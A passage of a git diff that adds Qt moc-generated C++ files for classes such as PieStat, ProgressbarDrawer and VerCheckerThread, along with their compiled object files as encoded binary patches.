&staticMetaObject; +} + +void *PieStat::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_PieStat.stringdata)) + return static_cast<void*>(const_cast< PieStat*>(this)); + return QThread::qt_metacast(_clname); +} + +int PieStat::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 1) + qt_static_metacall(this, _c, _id, _a); + _id -= 1; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 1) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 1; + } + return _id; +} + +// SIGNAL 0 +void PieStat::sUpdatePie() +{ + QMetaObject::activate(this, &staticMetaObject, 0, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_piestat.o b/moc_piestat.o new file mode 100644 index 0000000000000000000000000000000000000000..08f3b483b3b1ab60e5f5ad9e3bcc82246d0d251c GIT binary patch literal 7648 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 Y)H=Pc;d&ij*KpWh<@O&8{3f^m1Ny1JR{#J2 literal 0 HcmV?d00001 diff --git a/moc_progressbardrawer.cpp b/moc_progressbardrawer.cpp new file mode 100644 index 0000000..0615fc0 --- /dev/null +++ b/moc_progressbardrawer.cpp @@ -0,0 +1,124 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'progressbardrawer.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "progressbardrawer.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'progressbardrawer.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_ProgressbarDrawer_t { + QByteArrayData data[3]; + char stringdata[23]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_ProgressbarDrawer_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_ProgressbarDrawer_t qt_meta_stringdata_ProgressbarDrawer = { + { +QT_MOC_LITERAL(0, 0, 17), +QT_MOC_LITERAL(1, 18, 3), +QT_MOC_LITERAL(2, 22, 0) + }, + "ProgressbarDrawer\0upd\0" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_ProgressbarDrawer[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 1, 14, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 1, // signalCount + + // signals: name, argc, parameters, tag, flags + 1, 0, 19, 2, 0x06 /* Public */, + + // signals: parameters + QMetaType::Void, + + 0 // eod +}; + +void ProgressbarDrawer::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + if (_c == QMetaObject::InvokeMetaMethod) { + ProgressbarDrawer *_t = static_cast<ProgressbarDrawer *>(_o); + switch (_id) { + case 0: _t->upd(); break; + default: ; + } + } else if (_c == QMetaObject::IndexOfMethod) { + int *result = reinterpret_cast<int *>(_a[0]); + void **func = reinterpret_cast<void **>(_a[1]); + { + typedef void (ProgressbarDrawer::*_t)(); + if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&ProgressbarDrawer::upd)) { + *result = 0; + } + } + } + Q_UNUSED(_a); +} + +const QMetaObject ProgressbarDrawer::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_ProgressbarDrawer.data, + qt_meta_data_ProgressbarDrawer, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *ProgressbarDrawer::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *ProgressbarDrawer::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_ProgressbarDrawer.stringdata)) + return static_cast<void*>(const_cast< ProgressbarDrawer*>(this)); + return QThread::qt_metacast(_clname); +} + +int ProgressbarDrawer::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + if (_c == QMetaObject::InvokeMetaMethod) { + if (_id < 1) + qt_static_metacall(this, _c, _id, _a); + _id -= 1; + } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { + if (_id < 1) + *reinterpret_cast<int*>(_a[0]) = -1; + _id -= 1; + } + return _id; +} + +// SIGNAL 0 +void ProgressbarDrawer::upd() +{ + QMetaObject::activate(this, &staticMetaObject, 0, 0); +} +QT_END_MOC_NAMESPACE diff --git a/moc_progressbardrawer.o b/moc_progressbardrawer.o new file mode 100644 index 0000000000000000000000000000000000000000..b4a81a4219c93336278e9aeb392d68b29a341208 GIT binary patch literal 7896 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 literal 0 HcmV?d00001 diff --git a/moc_vercheckerthread.cpp b/moc_vercheckerthread.cpp new file mode 100644 index 0000000..b94f303 --- /dev/null +++ b/moc_vercheckerthread.cpp @@ -0,0 +1,88 @@ +/**************************************************************************** +** Meta object code from reading C++ file 'vercheckerthread.h' +** +** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) +** +** WARNING! All changes made in this file will be lost! +*****************************************************************************/ + +#include "vercheckerthread.h" +#include <QtCore/qbytearray.h> +#include <QtCore/qmetatype.h> +#if !defined(Q_MOC_OUTPUT_REVISION) +#error "The header file 'vercheckerthread.h' doesn't include <QObject>." +#elif Q_MOC_OUTPUT_REVISION != 67 +#error "This file was generated using the moc from 5.3.2. It" +#error "cannot be used with the include files from this version of Qt." +#error "(The moc has changed too much.)" +#endif + +QT_BEGIN_MOC_NAMESPACE +struct qt_meta_stringdata_VerCheckerThread_t { + QByteArrayData data[1]; + char stringdata[17]; +}; +#define QT_MOC_LITERAL(idx, ofs, len) \ + Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ + qptrdiff(offsetof(qt_meta_stringdata_VerCheckerThread_t, stringdata) + ofs \ + - idx * sizeof(QByteArrayData)) \ + ) +static const qt_meta_stringdata_VerCheckerThread_t qt_meta_stringdata_VerCheckerThread = { + { +QT_MOC_LITERAL(0, 0, 16) + }, + "VerCheckerThread" +}; +#undef QT_MOC_LITERAL + +static const uint qt_meta_data_VerCheckerThread[] = { + + // content: + 7, // revision + 0, // classname + 0, 0, // classinfo + 0, 0, // methods + 0, 0, // properties + 0, 0, // enums/sets + 0, 0, // constructors + 0, // flags + 0, // signalCount + + 0 // eod +}; + +void VerCheckerThread::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) +{ + Q_UNUSED(_o); + Q_UNUSED(_id); + Q_UNUSED(_c); + Q_UNUSED(_a); +} + +const QMetaObject VerCheckerThread::staticMetaObject = { + { &QThread::staticMetaObject, qt_meta_stringdata_VerCheckerThread.data, + qt_meta_data_VerCheckerThread, qt_static_metacall, 0, 0} +}; + + +const QMetaObject *VerCheckerThread::metaObject() const +{ + return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; +} + +void *VerCheckerThread::qt_metacast(const char *_clname) +{ + if (!_clname) return 0; + if (!strcmp(_clname, qt_meta_stringdata_VerCheckerThread.stringdata)) + return static_cast<void*>(const_cast< VerCheckerThread*>(this)); + return QThread::qt_metacast(_clname); +} + +int VerCheckerThread::qt_metacall(QMetaObject::Call _c, int _id, void **_a) +{ + _id = QThread::qt_metacall(_c, _id, _a); + if (_id < 0) + return _id; + return _id; +} +QT_END_MOC_NAMESPACE diff --git a/moc_vercheckerthread.o b/moc_vercheckerthread.o new file mode 100644 index 0000000000000000000000000000000000000000..23f0d959607a8302cb0b528087d86d5709af354d GIT binary patch literal 7280 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 literal 0 HcmV?d00001 diff --git a/msgcheckerthread.o b/msgcheckerthread.o new file mode 100644 index 0000000000000000000000000000000000000000..869329808710b1c14b19385773d5d586214555ba GIT binary patch literal 12304 zcmb_h4|H4Ad4IB^SWSqe1OpyP7Xb=5Kolu|?F5QtTk%t(1SfWu4hqkT{QPIwl8~Na zo2Df>l0)7R0<WW`l$|p;V?FEOtX)UX0hR^R{39D@3+YO`p0kszqg{k)Fzq3v>4Nrs z_uVUhde-Z|?H)h9cYpW$f4}eE`<@>SN4M13Y?5d;=`+%7PoR?2yJYscl|8mfpO$W9 zv`*+RfD8Gq;r9l(W82*==iYCW3-tx3tk3fmciM7SZ2RhGa+1yc<?qS`2NKEpPi6hT z<U;cW)+^lQE7VU+WtYB&l8@HGk1>!t-gy55$K1<1Bq?{ftbH((TMbgC@>AJ&Wnh~A zS6M$H>*ow&{R4LIXU*?ko=4eIXisoTF0RMNSH0N(qtNb94_JBd{YFqE7p}u0xp>6q z0e7Osm-+oA-xR}N@|}nKFXR`a`p1Tz!lwZM4kk0IzbES-$i?<XS?}-#7{%*O96y!! z%^)E(e7<ZvvS$%+Mjb8oI^~HeSwAJ~21`_b!G|OoMDQZl`4lq)M^KPleB^@Ma?U-` zJ0CkezCg5S@P>n@gQt&n0S(w2E%y1kxBxIt&W&A=-1%1KCyYe(|276ez#VdNzps@$ zW!QytWQ0^M^uSnQzb_EcFUb1avi^x|-+Do|k6thY=pRJ%lUxxPBkN~md)tLb%Sm_s zF3=WP`A#VJN!guW%~Wf?R3(_8`c72cTdn#MRo(l0s(zTN?t{)Na7p3d&+=35iNC`z z7CO-9F(a1$4Cx?363+ijTguc@yAF)aliU+u#o!iRViOT9yufC8d&^JU`L|(UGE$i5 ztB8z($Vl$E6Na-tl?z80tvpfI96VS!D?)$oJh15Cam>p59|(Oe^g!srka8?IWf+{l zw_Glx!4N5K@ZTZ>#4g2zmHbGMo0@kN?&XMnLR$bi#fJ2gQ8AN{tB_^q!BTF)5!PYl zx6D+2rRzZuaF({h9qNzOp*t@@uTqGU?unUC&@e;J^br{naT3I{eD3f$4K*;$tFXon z;D}K<T)*anEEj3^ltJ+OWSX{#XPFj+fc01EUoPaiRvxuC>|g?DFf1#51FXlY{}xzA zv(k^|J_jH*H>#7we99R94aOQXfE6@b7N?*rVD2I-e-O%*u`HkiMx&{QMsDhEFjd%8 zS_@&9b9aM9Xwx2#w)GW2$}{da>L#Y#Pk#9-4D;opbQn97_Kqsr>nZK0pi}6&T-;jL z<;(h+>2K2xlsc652{u>Z;MA*FK(FBsE2Yru_!v5hzv29pwgO{@frO>7QSb3J=usYK z$lFE;K|=w6{AtYx1Pzs$(Jun66VsaM0on$jb>`1%*P%enCZIRw3kIE_X|YiW`o#)Y zIA4Z@uT(=gf5{+fg`iZ3M0rOcU2z?a7GCD%`>{KJ7=TD&J}<BAo=EN_6z<2_X^X;* z!U8F57WD<Of-nV7*N#!?2Usd}UY3!0dGrY}f7AJ>UY?$$6LH>{h;XpXV#H&Ps)A>O zQ>8D0V4)iUpbG~tl?Du$?E|Gwa{}!l%H2;M{1r(c4LTsN^t~#B@AYVb*Lcz`o;V9U zzXTpAo-+_SW>+Z*2(|mK3R^E1A1>?Z%lbb}zg6YCze@dDs{U5isbpR$3T9BL|3U@1 z^AoUSRta17Kg1U|>lk&|KgrCjX8)p@{V-+!JalMiY0{VGvr0lk4VX+$h?R(`Vjz!~ zRmz;@eIwLJLkH$}C7B?{mq7tELa{V-V8WOF!mz;*S=tA^C=>=p9TLUx2v*qDe5n%2 z7=>+`EUi;Ojtk$f+r*7ZuU@TAxbp>Ijja5BD0j6SazAwfJz&y|ohZ9iSW#**^2RU; 